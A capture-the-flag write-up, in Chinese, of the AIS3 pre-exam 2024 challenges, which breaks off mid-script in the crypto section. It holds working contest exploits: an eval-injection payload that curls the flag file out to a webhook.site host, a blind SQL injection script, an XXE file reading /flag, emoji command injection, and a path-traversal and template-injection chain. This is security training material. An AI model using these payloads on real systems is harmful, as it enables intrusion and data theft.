# AIS3 pre exam 2024 - writeup > Author:堇姬Naup > Rank 4th ![螢幕擷取畫面 2024-05-27 170154](https://hackmd.io/_uploads/SJ8FIC-NC.png) # Misc ## Welcome `ctrl+c ctrl+v` > AIS3{Welc0me_to_AIS3_PreExam_2o24!} ## Three Dimensional Secret 看封包然後這個看起來很像`3D GCode`,直接用線上工具化出來 ![image](https://hackmd.io/_uploads/rk4mi0ZEC.png) ![image](https://hackmd.io/_uploads/B1VKsA-E0.png) > AIS3{b4d1y_tun3d_PriN73r} ## Quantum Nim Heist ![image](https://hackmd.io/_uploads/SJZhs0WVC.png) ![image](https://hackmd.io/_uploads/B1K3o0bNC.png) 這題我其實不知道怎麼做的,就亂按,choose那邊在第一次後,如果你不輸入任何東西,或是0 1 2也可以過(回去看了source code發現那邊少寫了else),之後就一直按enter,直到最後一顆,拿走就可以拿到flag ![image](https://hackmd.io/_uploads/r1RMitH40.png) > AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?} ## Emoji Console 先用`cat *`來leak source code ![image](https://hackmd.io/_uploads/rJQxTlfEC.png) ```python= import os from flask import Flask,send_file,request,redirect,jsonify,render_template import json import string def translate(command:str)->str: emoji_table = json.load(open('emoji.json','r',encoding='utf-8')) for key in emoji_table: if key in command: command = command.replace(key,emoji_table[key]) return command.lower() app = Flask(__name__) @app.route('/') def index(): return render_template('index.html') @app.route('/api') def api(): command = request.args.get('command') if len(set(command).intersection(set(string.printable.replace(" ",''))))>0: return jsonify({'command':command,'result':'Invalid command'}) command = translate(command) result = os.popen(command+" 2>&1").read() return jsonify({'command':command,'result':result}) if __name__ == '__main__': app.run('0.0.0.0',5000) { "😀": ":D", "😁": ":D", "😂": ":')", "🤣": "XD", "😃": ":D", "😄": ":D", "😅": "':D", "😆": "XD", "😉": ";)", "😊": ":)", "😋": ":P", "😎": "B)", "😍": ":)", "😘": ":*",# "😗": ":*",# "😙": ":*",# "😚": ":*",# "☺️": ":)", "🙂": ":)", "🤗": ":)", "🤩": ":)", "🤔": ":?",# "🤨": ":/",# "😐": ":|", "😑": ":|", "😶": ":|", "🙄": ":/", "😏": ":]", "😣": ">:", "😥": ":'(", "😮": ":o", "🤐": ":x", "😯": ":o", "😪": ":'(", "😫": ">:(", "😴": "Zzz", "😌": ":)", "😛": ":P", "😜": ";P", "😝": "XP", "🤤": ":P", "😒": ":/", "😓": ";/",# "😔": ":(", "😕": ":/",# "🙃": "(:", "🤑": "$)", "😲": ":O", "☹️": ":(", "🙁": ":(", "😖": ">:(", "😞": ":(", "😟": ":(", "😤": ">:(", "😢": ":'(", "😭": ":'(", "😦": ":(", "😧": ">:(", "😨": ":O", "😩": ">:(", "🤯": ":O", "😬": ":E", "😰": ":(", "😱": ":O", "🥵": ">:(", "🥶": ":(", "😳": ":$", "🤪": ":P", "😵": "X(", "🥴": ":P", "😠": ">:(", "😡": ">:(", "🤬": "#$%&!", "🤕": ":(", "🤢": "X(", "🤮": ":P", "🤧": ":'(", "😇": "O:)", "🥳": ":D", "🥺": ":'(", "🤡": ":o)", "🤠": "Y)", "🤥": ":L", "🤫": ":x", "🤭": ":x", "🐶": "dog", "🐱": "cat",# "🐭": "mouse", "🐹": "hamster", "🐰": "rabbit", "🦊": "fox", "🐻": "bear", "🐼": "panda", "🐨": "koala", "🐯": "tiger", "🦁": "lion", "🐮": "cow", "🐷": "pig", "🐽": "pig nose", "🐸": "frog", "🐒": "monkey", "🐔": "chicken", "🐧": "penguin", "🐦": "bird", "🐤": "baby chick", "🐣": "hatching chick", "🐥": "front-facing baby chick", "🦆": "duck", "🦅": "eagle", "🦉": "owl", "🦇": "bat", "🐺": "wolf", "🐗": "boar", "🐴": "horse", "🦄": "unicorn", "🐝": "bee", "🐛": "bug", "🦋": "butterfly", "🐌": "snail", "🐞": "lady beetle", "🐜": "ant", "🦟": "mosquito", "🦗": "cricket", "🕷️": "spider", "🕸️": "spider web", "🦂": "scorpion", "🐢": "turtle", "🐍": "python", # "🦎": "lizard", "🦖": "T-Rex", "🦕": "sauropod", "🐙": "octopus", "🦑": "squid", "🦐": "shrimp", "🦞": "lobster", "🦀": "crab", "🐡": "blowfish", "🐠": "tropical fish", "🐟": "fish", "🐬": "dolphin", "🐳": "whale", "🐋": "whale", "🦈": "shark", "🐊": "crocodile", "🐅": "tiger", "🐆": "leopard", "🦓": "zebra", "🦍": "gorilla", "🦧": "orangutan", "🦣": "mammoth", "🐘": "elephant", "🦛": "hippopotamus", "🦏": "rhinoceros", "🐪": "camel", "🐫": "two-hump camel", "🦒": "giraffe", "🦘": "kangaroo", "🦬": "bison", "🦥": "sloth", "🦦": "otter", "🦨": "skunk", "🦡": "badger", "🐾": "paw prints", "◼️": "black square", "◻️": "white square", "◾": "black medium square", "◽": "white medium square", "▪️": "black small square", "▫️": "white small square", "🔶": "large orange diamond", "🔷": "large blue diamond", "🔸": "small orange diamond", "🔹": "small blue diamond", "🔺": "triangle", "🔻": "triangle", "🔼": "triangle", "🔽": "triangle", "🔘": "circle", "⚪": "circle", "⚫": "black circle", "🟠": "orange circle", "🟢": "green circle", "🔵": "blue circle", "🟣": "purple circle", "🟡": "yellow circle", "🟤": "brown circle", "⭕": "empty circle", "🅰️": "A", "🅱️": "B", "🅾️": "O", "ℹ️": "i", "🅿️": "P", "Ⓜ️": "M", "🆎": "AB", "🆑": "CL", "🆒": "COOL", "🆓": "FREE", "🆔": "ID", "🆕": "NEW", "🆖": "NG", "🆗": "OK", "🆘": "SOS", "🆙": "UP", "🆚": "VS", "㊗️": "祝", "㊙️": "秘", "🈺": "營", "🈯": "指", "🉐": "得", "🈹": "割", "🈚": "無", "🈲": "禁", "🈸": "申", "🈴": "合", "🈳": "空", "🈵": "滿", "🈶": "有", "🈷️": "月", "🚗": "car", "🚕": "taxi", "🚙": "SUV", "🚌": "bus", "🚎": "trolleybus", "🏎️": "race car", "🚓": "police car", "🚑": "ambulance", "🚒": "fire engine", "🚐": "minibus", "🚚": "delivery truck", "🚛": "articulated lorry", "🚜": "tractor", "🛴": "kick scooter", "🚲": "bicycle", "🛵": "scooter", "🏍️": "motorcycle", "✈️": "airplane", "🚀": "rocket", "🛸": "UFO", "🚁": "helicopter", "🛶": "canoe", "⛵": "sailboat", "🚤": "speedboat", "🛳️": "passenger ship", "⛴️": "ferry", "🛥️": "motor boat", "🚢": "ship", "👨": "man", "👩": "woman", "👶": "baby", "🧓": "old man", "👵": "old woman", "💿": "CD", "📀": "DVD", "📱": "phone", "💻": "laptop", "🖥️": "pc", "🖨️": "printer", "⌨️": "keyboard", "🖱️": "mouse", "🖲️": "trackball", "🕹️": "joystick", "🗜️": "clamp", "💾": "floppy disk", "💽": "minidisc", "☎️": "telephone", "📟": "pager", "📺": "television", "📻": "radio", "🎙️": "studio microphone", "🎚️": "level slider", "🎛️": "control knobs", "⏰": "alarm clock", "🕰️": "mantelpiece clock", "⌚": "watch", "📡": "satellite antenna", "🔋": "battery", "🔌": "plug", "🚩": "flag", "⓿": "0", "❶": "1", "❷": "2", "❸": "3", "❹": "4", "❺": "5", "❻": "6", "❼": "7", "❽": "8", "❾": "9", "❿": "10", "⭐": "*", "➕": "+", "➖": "-", "✖️": "×", "➗": "÷" } ``` `cat flag`知道flag是directory,要先cd進去 ![image](https://hackmd.io/_uploads/ByjSpgM4R.png) cd 進去後會看到一個python檔案,他會去read flag,執行他就可以讀出flag了(先用`;`分隔,再用`|`來讓後面會被執行,`p:`會被當指令,但會執行錯誤) ![image](https://hackmd.io/_uploads/S1oFplf4A.png) `cd flag;p:|cat *` ![image](https://hackmd.io/_uploads/HJXvh0-4A.png) > AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈} # Web ## Evil Calculator ### source code ```python= from flask import Flask, request, jsonify, render_template app = Flask(__name__) @app.route('/calculate', methods=['POST']) def calculate(): data = request.json expression = data['expression'].replace(" ","").replace("_","") try: result = eval(expression) except Exception as e: result = str(e) return jsonify(result=str(result)) @app.route('/') def index(): return render_template('index.html') if __name__ == '__main__': app.run("0.0.0.0",5001) ``` ### 解法 ``` exec('import'+chr(32)+'os;os.system(\"curl'+chr(32)+'https://webhook.site/36d45c0b-dca1-4240-82be-a56d4356a978?a='+'$(cat'+chr(32)+'/flag)'+'\")') ``` 基本上就是 `eval()` 可控,然後過濾掉`_`、` `,所以可以用exec bypass下底線,跟用chr(32) bypass掉空格。 然後就是先cat出flag,再用curl將資料送到webhook,就可以拿到flag了 ![image](https://hackmd.io/_uploads/HJjjORZE0.png) ![image](https://hackmd.io/_uploads/HkZLY0Z4A.png) > AIS3{7RiANG13_5NAK3_I5_50_3Vi1} ## It's MyGO!!!!! 這題沒有source code,進去後會發現一個很明顯SQL injection的地方 `/song?id=` 但不能用`Union`之類的方法,但發現如果用boolean SQL injection來做可以透過回顯來leak`/flag` 如果猜的不對會回顯`No Data` ![image](https://hackmd.io/_uploads/HyH51sr4A.png) 如過對了會正常回顯影片 ``` /song?id=4 AND ASCII(SUBSTRING((SELECT LOAD_FILE('/flag')), {}, 1)) ={}-- ``` ### script ```python= import requests for i in range(1,400): for j in range(1,300): url = "http://chals1.ais3.org:11454/song?id=4%20AND%20ASCII(SUBSTRING((SELECT%20LOAD_FILE(%27/flag%27)),%20{},%201))%20={}--".format(i,j) response = requests.get(url,timeout=10) if "No Data" in response.text: pass else: ascii_code = j print(j) ``` 讀出FLAG ASCII ```python= numbers = [ 65, 73, 83, 51, 123, 67, 82, 89, 67, 72, 73, 67, 95, 70, 117, 110, 101, 114, 97, 108, 95, 240, 159, 152, 173, 240, 159, 142, 184, 240, 159, 152, 173, 240, 159, 142, 184, 240, 159, 152, 173, 240, 159, 142, 164, 240, 159, 152, 173, 240, 159, 165, 129, 240, 159, 152, 184, 240, 159, 142, 184, 125 ] byte_data = bytes(numbers) unicode_string = byte_data.decode('utf-8') print(unicode_string) ``` 轉unicode ~~所以我說為甚麼要演奏春日影~~ > AIS3{CRYCHIC_Funeral_😭🎸😭🎸😭🎤😭🥁😸🎸} ## Ebook Parser ### source code ```python= import tempfile import pathlib import secrets from os import getenv, path import ebookmeta from flask import Flask, request, jsonify from flask.helpers import send_from_directory app = Flask(__name__, static_folder='static/') app.config['JSON_AS_ASCII'] = False app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024 @app.route('/', methods=["GET"]) def index(): return send_from_directory('static', 'index.html') @app.route('/parse', methods=["POST"]) def upload(): if 'ebook' not in request.files: return jsonify({'error': 'No File!'}) file = request.files['ebook'] with tempfile.TemporaryDirectory() as directory: suffix = pathlib.Path(file.filename).suffix fp = path.join(directory, f"{secrets.token_hex(8)}{suffix}") file.save(fp) app.logger.info(fp) try: meta = ebookmeta.get_metadata(fp) print(meta) return jsonify({'message': "\n".join([ f"Title: {meta.title}", f"Author: {meta.author_list_to_string()}", f"Lang: {meta.lang}", ])}) except Exception as e: print(e) return jsonify({'error': f"{e.__class__.__name__}: {str(e)}"}), 500 if __name__ == "__main__": port = getenv("PORT", 8888) app.run(host="0.0.0.0", port=port) ``` ### 解法 `ebookmeta.get_metadata()`在解出資料時,會觸發xxe xxe -> file:///flag 所以author會顯示出/flag的內容 ![image](https://hackmd.io/_uploads/BJLpEpfN0.png) ![image](https://hackmd.io/_uploads/Sy-046MEC.png) 說個趣聞: https://github.com/dnkorpushov/ebookmeta/issues/16 ### solve file ```xml= <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///flag"> ]> <FictionBook xmlns="http://www.gribuser.ru/xml/fictionbook/2.0" xmlns:l="http://www.w3.org/1999/xlink"> <description> <title-info> <genre>Science Fiction</genre> <author> <first-name>&xxe;</first-name> <last-name>Doe</last-name> </author> <book-title>The Lost World</book-title> <annotation> <p>This is an example of a FictionBook XML document.</p> </annotation> <date>2024</date> <lang>en</lang> <coverpage> <image l:href="cover.jpg" /> </coverpage> </title-info> <document-info> <author> <first-name></first-name> <last-name>Doe</last-name> </author> <program-used>Calibre 5.0</program-used> <date>2024-05-26</date> <src-url>http://example.com</src-url> <id>123456789</id> <version>1.0</version> </document-info> </description> <body> <title>Chapter 1: The Beginning</title> <section> <title>Introduction</title> <p>In the year 2050, humanity faced its greatest challenge...</p> </section> <section> <title>The Discovery</title> <p>It all started with a mysterious signal from deep space...</p> </section> <section> <title>The Journey</title> <p>A team of brave astronauts embarked on a perilous journey...</p> </section> </body> </FictionBook> ``` ## Capoost ### 第一步 LFI leak source code 個人覺得最複雜的一題,首先要發現LFI,來讓這題從黑箱變白箱 - Dockerfile GET /template/read?name=capoo../../../Dockerfile ```dockerfile= FROM golang:1.19 as builder LABEL maintainer="Chumy" RUN apt install make COPY src /app COPY Dockerfile-easy /app/Dockerfile WORKDIR /app RUN make clean && make && make readflag && \ mv bin/readflag /readflag && \ mv fl4g1337 /fl4g1337 && \ chown root:root /readflag && \ chmod 4555 /readflag && \ chown root:root /fl4g1337 && \ chmod 400 /fl4g1337 && \ touch .env && \ useradd -m -s /bin/bash app && \ chown -R app:app /app USER app ENTRYPOINT ["./bin/capoost"] ``` golang網站,那main應該是->main.go - main.go /template/read?name=capoo../../../main.go ```go= package main import ( // "net/http" "github.com/gin-gonic/gin" "github.com/gin-contrib/sessions" "github.com/gin-contrib/sessions/cookie" "github.com/go-errors/errors" "capoost/router" "capoost/utils/config" // "capoost/utils/database" "capoost/utils/errutil" "capoost/middlewares/auth" ) func main() { if !config.Debug { gin.SetMode(gin.ReleaseMode) } store := cookie.NewStore(config.Secret) backend := gin.Default() backend.Use(errorHandler) backend.Use(gin.CustomRecovery(panicHandler)) backend.Use(sessions.Sessions(config.Sessionname, store)) backend.Use(auth.AddMeta) router.Init(&backend.RouterGroup) backend.Run(":"+string(config.Port)) } func panicHandler(c *gin.Context, err any) { goErr := errors.Wrap(err, 2) //errmsg := "" //if config.Debug { errmsg := goErr.Error() //} errutil.AbortAndError(c, &errutil.Err{ Code: 500, Msg: "Internal server error", Data: errmsg, }) } func errorHandler(c *gin.Context) { c.Next() for _, e := range c.Errors { err := e.Err //errmsg := "" //if config.Debug { errmsg := err.Error() //} c.JSON(500, gin.H{ "code": 500, "msg": "Internal server error", "data": errmsg, }) return } } ``` 根據import開始leak所有檔案 - auth.go name=capoo../../../middlewares/auth/auth.go ```go= package auth import ( // "fmt" "github.com/gin-gonic/gin" "github.com/gin-contrib/sessions" "capoost/utils/errutil" "capoost/models/user" ) func CheckSignIn(c *gin.Context) { if isSignIn, exist := c.Get("isSignIn"); !exist || !isSignIn.(bool) { errutil.AbortAndError(c, &errutil.Err{ Code: 401, Msg: "You are not login.", }) } } func CheckIsAdmin(c *gin.Context) { if isAdmin, exist := c.Get("isAdmin"); !exist || !isAdmin.(bool) { errutil.AbortAndError(c, &errutil.Err{ Code: 405, Msg: "You are not admin.", }) } } func CheckIsNotAdmin(c *gin.Context) { if isAdmin, exist := c.Get("isAdmin"); !(!exist || !isAdmin.(bool)) { errutil.AbortAndError(c, &errutil.Err{ Code: 405, Msg: "This method is not available to admin.", }) } } func AddMeta(c *gin.Context) { session := sessions.Default(c) username := session.Get("user") if username == nil { c.Set("isSignIn", false) } else { userdata, err := user.GetUser(username.(string)) c.Set("user", userdata) if err != nil { c.Set("isSignIn", false) } else { c.Set("isSignIn", true) c.Set("isAdmin", userdata.ID == 1) } } } ``` - post.go ?name=capoo../../../router/post/post.go ```go= package post import ( "path" "strconv" "text/template" "os/exec" "os" "regexp" "errors" "bytes" "strings" "github.com/gin-gonic/gin" "capoost/middlewares/auth" "capoost/models/user" "capoost/models/post" "capoost/utils/errutil" "capoost/utils/database" ) type page struct { Data string `json:"data"` Count int `json:"count"` Percent int `json:"percent"` } var router *gin.RouterGroup func Init(r *gin.RouterGroup) { router = r router.POST("/create", auth.CheckSignIn, auth.CheckIsNotAdmin, create) router.GET("/list", auth.CheckSignIn, list) router.GET("/read", auth.CheckSignIn, read) } func create(c *gin.Context) { userdata, _ := c.Get("user") postdata := post.Post{ Owner: userdata.(user.User), } err := c.ShouldBindJSON(&postdata) if err != nil || postdata.Title == "" { errutil.AbortAndError(c, &errutil.Err{ Code: 400, Msg: "Invalid Post", }) return } reg := regexp.MustCompile(`[^a-zA-Z0-9]`) postdata.Template = reg.ReplaceAllString(postdata.Template, "") if _, err := os.Stat(path.Clean(path.Join("./template", postdata.Template))); path.Clean(path.Join("./template", postdata.Template)) == path.Clean("./template") || errors.Is(err, os.ErrNotExist) { errutil.AbortAndError(c, &errutil.Err{ Code: 400, Msg: "Invalid Post", }) return } postdata.Create() c.String(200, "Post success") } func list(c *gin.Context) { posts, err := post.GetAllPosts() if err != nil { panic(err) } c.JSON(200, posts) } func read(c *gin.Context) { postid, err := strconv.Atoi(c.DefaultQuery("id", "0")) if err != nil { errutil.AbortAndError(c, &errutil.Err{ Code: 400, Msg: "Invalid ID", }) } nowpost, err := post.GetPost(uint(postid)) if err != nil { errutil.AbortAndError(c, &errutil.Err{ Code: 400, Msg: "Invalid ID", }) } t := template.New(nowpost.Template) if nowpost.Owner.ID == 1 { t = t.Funcs(template.FuncMap{ "G1V3m34Fl4gpL34s3": readflag, }) } t = template.Must(t.ParseFiles(path.Join("./template", nowpost.Template))) b := new(bytes.Buffer) if err = t.Execute(b, nowpost.Data); err != nil { panic(err) } nowpost.Count++ sum := 0 posts, _ := post.GetAllPosts() for _, now := range posts { if nowpost.ID == now.ID { sum += nowpost.Count } else { sum += now.Count } } var percent int if sum != 0 { percent = (nowpost.Count * 100) / sum } else { errutil.AbortAndError(c, &errutil.Err{ Code: 500, Msg: "Sum of post count can't be 0", }) } if strings.Contains(b.String(), "AIS3") { errutil.AbortAndError(c, &errutil.Err{ Code: 403, Msg: "Flag deny", }) } nowpage := page{ Data: b.String(), Count: nowpost.Count, Percent: percent, } c.JSON(200, nowpage) database.GetDB().Save(&nowpost) } func readflag() string { out, _ := exec.Command("/readflag").Output() return strings.Trim(string(out), " \n\t") } ``` - template.go ?name=capoo../../../router/template/template.go ```go= package template import ( "os" "path" "regexp" "github.com/gin-gonic/gin" "capoost/middlewares/auth" "capoost/utils/errutil" ) var router *gin.RouterGroup func init() { os.MkdirAll("./template", os.ModePerm) } func Init(r *gin.RouterGroup) { router = r router.POST("/upload", auth.CheckSignIn, auth.CheckIsAdmin, upload) router.GET("/list", auth.CheckSignIn, list) router.GET("/read", auth.CheckSignIn, read) } func upload(c *gin.Context) { reg := regexp.MustCompile(`[^a-zA-Z0-9]`) template := c.PostForm("template") name := reg.ReplaceAllString(c.PostForm("name"), "") f, err := os.Create(path.Clean(path.Join("./template", name))) if err != nil { panic(err) } _, err = f.WriteString(template) if err != nil { panic(err) } c.String(200, "Upload success") } func list(c *gin.Context) { tmpls, err := os.ReadDir("./template") if err != nil { panic(err) } result := make([]string, len(tmpls)) for i, tmpl := range tmpls { result[i] = tmpl.Name() } c.JSON(200, result) } func read(c *gin.Context) { name := c.Query("name") if name == "" { errutil.AbortAndError(c, &errutil.Err{ Code: 400, Msg: "Bad name", }) return } tmpl, err := os.ReadFile(path.Join("./template", name)) if err != nil { errutil.AbortAndError(c, &errutil.Err{ Code: 400, Msg: "Not exist", }) return } c.Data(200, "text/plain", tmpl) //c.File(path.Join("./template", name)) } ``` - user.go capoo../../../models/user/user.go ```go= package user import ( "log" "fmt" "encoding/base64" "crypto/rand" "capoost/utils/database" "capoost/utils/password" ) type User struct { ID uint `gorm:"primaryKey" json:"-"` Username string `json:"username"` Password password.Password `json:"password"` } func init() { const adminname = "4dm1n1337" database.GetDB().AutoMigrate(&User{}) if _, err := GetUser(adminname); err == nil { return } buf := make([]byte, 12) _, err := rand.Read(buf) if err != nil { log.Panicf("error while generating random string: %s", err) } User{ //ID: 1, Username: adminname, Password: password.New(base64.StdEncoding.EncodeToString(buf)), }.Create() } func (a User) Equal(b User) bool { return a.Username == b.Username && a.Password == b.Password } func (user User) Login() bool { if user.Username == "" { return false } if _, err := GetUser(user.Username); err == nil { var loginuser User result := database.GetDB().Where(&user).First(&loginuser) return result.Error == nil } return user.Create() == nil } func GetUser(username string) (User, error) { var loginuser User result := database.GetDB().Where(&User{ Username: username, }).First(&loginuser) return loginuser, result.Error } func (user User) Create() error { if user.Password == "" { return fmt.Errorf("Password can't be empty in create") } result := database.GetDB().Model(&User{}).Create(&user) return result.Error } ``` 以及登入的前端(不用LFI,F12直接看) ```javascript= <script> document.getElementById('loginForm').addEventListener('submit', function(event) { event.preventDefault(); const username = document.getElementById('username').value; let password = document.getElementById('password').value; if (password === "") { password = "empty" } fetch('/user/login', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ username, password }) }) .then(response => { if (response.status === 200) { // Redirect to home page or show login success window.location.href = '/'; } else { // Show error message alert('Login failed'); } }) .catch(error => console.error('Error:', error)); }); </script> ``` 基本上這些就夠了 ### 第二步 分析source code+湊齊條件 你會發現可以注入模板,但是需要達成三個條件(post.go) ![image](https://hackmd.io/_uploads/r1fjoiNE0.png) - 只有admin可以創建模板,所以要拿到admin,來注入模板 - 使用該模板創建貼文 - 該貼文的創建者是admin 另外可以觀察出來,如果輸入(一般使用者要登入,隨便輸入一組就會自己註冊了) 帳號: 4dm1n1337 密碼: 空白 就可以登入(這邊我用burpsuite抓下來送才過的了) ![image](https://hackmd.io/_uploads/BJVCsoEVA.png) 直接把session丟到網頁,然後重整就可以看到admin頁面了 ![image](https://hackmd.io/_uploads/SJbvho4NA.png) 另外還有個問題,使用模板這部分沒問題,那究竟該如何讓該貼文創建者是admin呢(admin沒辦法創建貼文,只有一般使用者可以創建貼文) 最核心的地方就是這段code了 ![image](https://hackmd.io/_uploads/SJgUasNER.png) 如果我在貼文創建請求時,在原有的Json裡面塞入Owner:<名稱>,就可以任意的偽造該貼文的創建者了 ![image](https://hackmd.io/_uploads/BJfhajEEA.png) 這邊發現偽造成功 ![image](https://hackmd.io/_uploads/H1yJ0jV40.png) 這樣子就湊齊條件了 ### 第三部 製作模板 首先這題要透過執行模板來去讀取flag,這裡有看到一個函數 ```go= func readflag() string { out, _ := exec.Command("/readflag").Output() return strings.Trim(string(out), " \n\t") } ``` 這邊用readflag不行,要call `G1V3m34Fl4gpL34s3` ![image](https://hackmd.io/_uploads/B1hlknE40.png) 而`G1V3m34Fl4gpL34s3` -> readflag() 用 ``` {{G1V3m34Fl4gpL34s3}} ``` 就可以呼叫flag了,但是會遇到一個問題,就是它會過濾輸出包含`AIS3` 輸出有`AIS3`會回報403 ![image](https://hackmd.io/_uploads/S1JMe3EV0.png) ![image](https://hackmd.io/_uploads/BJ7NynENA.png) 我這邊想到的方法是把`AI`切掉輸出 所以我用 ``` {{slice G1V3m34Fl4gpL34s3 2}} ``` ### 最後一步 串起來 burpsuite抓登入 -> 修改admin密碼為空並送出 ->更改session後刷新拿到管理頁面 -> 注入模板 ->登出後隨便註冊一個新帳號 -> burpsuite抓創建貼文 -> 加入 `'Owner':'4dm1n1337'`偽造創建者為admin -> 點開該貼文即可看到flag ![image](https://hackmd.io/_uploads/BySBWnVNC.png) ![image](https://hackmd.io/_uploads/SyoEW2N4R.png) ![image](https://hackmd.io/_uploads/rJ2gW244R.png) 結論就是,這卡波笑得很邪惡 > AIS3{go_4w4y_WhY_Ar3_y0U_H3R3_Capoo:(} # Crypto ## babyRSA ### source code ```python= import random from Crypto.Util.number import getPrime from secret import flag def gcd(a, b): while b: a, b = b, a % b return a def generate_keypair(keysize): p = getPrime(keysize) q = getPrime(keysize) n = p * q phi = (p-1) * (q-1) e = random.randrange(1, phi) g = gcd(e, phi) while g != 1: e = random.randrange(1, phi) g = gcd(e, phi) d = pow(e, -1, phi) return ((e, n), (d, n)) def encrypt(pk, plaintext): key, n = pk cipher = [pow(ord(char), key, n) for char in plaintext] return cipher def decrypt(pk, ciphertext): key, n = pk plain = [chr(pow(char, key, n)) for char in ciphertext] return ''.join(plain) public, private = generate_keypair(512)#public=(e,n) encrypted_msg = encrypt(public, flag) decrypted_msg = decrypt(private, encrypted_msg) print("Public Key:", public) print("Encrypted:", encrypted_msg) # print("Decrypted:", decrypted_msg) ``` ### 解法 他是一個字元一個字元加密的,直接暴力搜尋就好了 ```python= n= e= c= def encrypt(pk, char): key, n = pk cipher = pow(char, key, n) return cipher if __name__ == '__main__': for i in c: for j in range(256): if encrypt((e,n), j) == i: print(chr(j), end='') ``` > AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf} ## zkp ### source code ```python= #!/bin/python3 import random from secret import flag from Crypto.Util.number import bytes_to_long, getPrime, isPrime import signal def alarm(second): # This is just for timeout. # It should not do anything else with the challenge. def handler(signum, frame): print('Timeout!') exit() signal.signal(signal.SIGALRM, handler) signal.alarm(second) def gen_prime(n): while True: p = 1 while p < (1 << (n - 1)) : p *= getPrime(5) p = p * 2 + 1 if isPrime(p): break return p def zkp_protocol(n, e, m): # y = pow(e, m, p) r = random.randrange(n-1) a = pow(e, r, n) print(f'a = {a}') print('Give me the challenge') try: c = int(input('c = ')) w = (c * m + r) % (n-1) print(f'w = {w}') # you can verify I know the flag with # g^w (mod p) = (g^flag)^c * g^r (mod p) = y^c * a (mod p) except: print('Invalid input.') if __name__ == "__main__": alarm(300) assert len(flag) == 60 n = 912963562570713895762123712634341582363191342435924527885311975797578046400116904692505817547350929619596093083745446525856149291591598712142696114753807416455553636357128701771057485027781550780145668058332461392878693207262984011086549089459904749465167095482671894984474035487400352761994560452501497000487 # p is generated by gen_prime(1024) e = 5 y = pow(e, bytes_to_long(flag), n) print(""" ****************************************************** Have you heard of Zero Knowledge Proof? I cannot give you the flag, but I want to show you I know the flag. So, let me show you with ZKP. ------------------------------------------------------ 1) Printe public key. 2) Run ZKP protocol. 3) Bye~ ****************************************************** """) for _ in range(3): try: option = input("Option: ") if int(option) == 1: print('My public key:') print(f'p = {n}') print(f'g = {e}') print(f'y = {y}') elif int(option) == 2: zkp_protocol(n, e, bytes_to_long(flag)) else: print("Bye~~~~~") break except: print("Something wrong?") exit() ``` ### 解法 $e^{flag} \equiv n \pmod p$ 如果輸入 `1`,那你就可以拿到$e, n ,p$,這是個離散對數問題,看一下$p$,發現他是個smooth,可以用`discrete_log()`這個函數 ### script ```python= from sympy.ntheory import discrete_log from Crypto.Util.number import long_to_bytes p = 912963562570713895762123712634341582363191342435924527885311975797578046400116904692505817547350929619596093083745446525856149291591598712142696114753807416455553636357128701771057485027781550780145668058332461392878693207262984011086549089459904749465167095482671894984474035487400352761994560452501497000487 g = 5 y = 826538666839613533825164219540577914201103248283631882579415248247469603672292332561005185045449294103457059566058782307774879654805356212117148864755019033392691510181464751398765490686084806155442759849410837406192708511190585484331707794669398717997173649869228717077858848442336016926370038781486833717341 flag = discrete_log(p, y, 5) print(long_to_bytes(flag)) ``` > AIS3{ToSolveADiscreteLogProblemWhithSmoothPIsSoEZZZZZZZZZZZ} ## easyRSA ### source code ```python= #!/bin/python3 import random from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes from hashlib import sha256 from base64 import b64encode, b64decode from secret import flag import signal def alarm(second): # This is just for timeout. # It should not do anything else with the challenge. def handler(signum, frame): print('Timeout!') exit() signal.signal(signal.SIGALRM, handler) signal.alarm(second) def gcd(a, b): while b: a, b = b, a % b return a def generate_keypair(keysize): p = getPrime(keysize) q = getPrime(keysize) n = p * q phi = (p-1) * (q-1) e = random.randrange(1, phi) g = gcd(e, phi) while g != 1: e = random.randrange(1, phi) g = gcd(e, phi) d = pow(e, -1, phi) # for CRT optimize dP = d % (p-1) dQ = d % (q-1) qInvP = pow(q, -1, p) return ((e, n), (dP, dQ, qInvP, p, q)) def verify(pk, message: bytes, signature: bytes): e, n = pk data = bytes_to_long(sha256(message).digest()) return data == pow(bytes_to_long(signature), e, n) bug = lambda : random.randrange(0, 256) def sign(sk, message: bytes): dP, dQ, qInvP, p, q = sk data = bytes_to_long(sha256(message).digest()) # use CRT optimize to sign the signature, # but there are bugs in my code QAQ a = bug() mP = pow(data, dP, p) ^ a b = bug() mQ = pow(data, dQ, q) ^ b k = (qInvP * (mP - mQ)) % p signature = mQ + k * q return long_to_bytes(signature) if __name__ == "__main__": alarm(300) public, private = generate_keypair(512) print(""" *********************************************************** Have you heard CRT optimization for RSA? I have implemented a CRT-RSA signature. However, there are bugs in my code... --------------------------------------------------------- 1) Print public key. 2) Sign a message. 3) Give me flag? 4) Bye~ *********************************************************** """) for _ in range(5): try: option = input("Option: ") if int(option) == 1: print('My public key:') print(f"e, n = {public}") elif int(option) == 2: message = input("Your message (In Base64 encoded): ") message = b64decode(message.encode()) if b"flag" in message: print(f"No, I cannot give you the flag!") else: signature = sign(private, message) signature = b64encode(signature) print(f"Signature: {signature}") elif int(option) == 3: signature = input("Your signature (In Base64 encoded): ") signature = b64decode(signature.encode()) message = b64encode(b"Give me the flag!") if verify(public, message, signature): print(f"Well done! Here is your flag :{flag}") else : print("Invalid signature.") else: print("Bye~~~~~") break except Exception as e: print(e) print("Something wrong?") exit() ``` ### 解法 他有一個地方有bug,所以可以參考這個,來做RSA Fault Attack https://asecuritysite.com/rsa/rsa_fault 這邊直接上script,跟著我的script的方法推一遍就可以解出來了 ### script ```python= from hashlib import sha256 from Crypto.Util.number import bytes_to_long, long_to_bytes from base64 import b64decode, b64encode import libnum print("選1,拿到 e, N") e = int(input('e: ')) N = int(input('N: ')) print("m='fake_message_to_leak_data'") msg=b"fake_message_to_leak_data" m_base64= b64encode(msg) m= bytes_to_long(sha256(msg).digest()) print("m_base64 : ",m_base64) print("選2,讓m簽名(faulty_signature)") faulty_signature = input("signature (base64) : ") f_signature=bytes_to_long(b64decode(faulty_signature.encode())) for a in range(512): p_rec=libnum.gcd(pow(f_signature^a,e,N)-m,N) q_rec 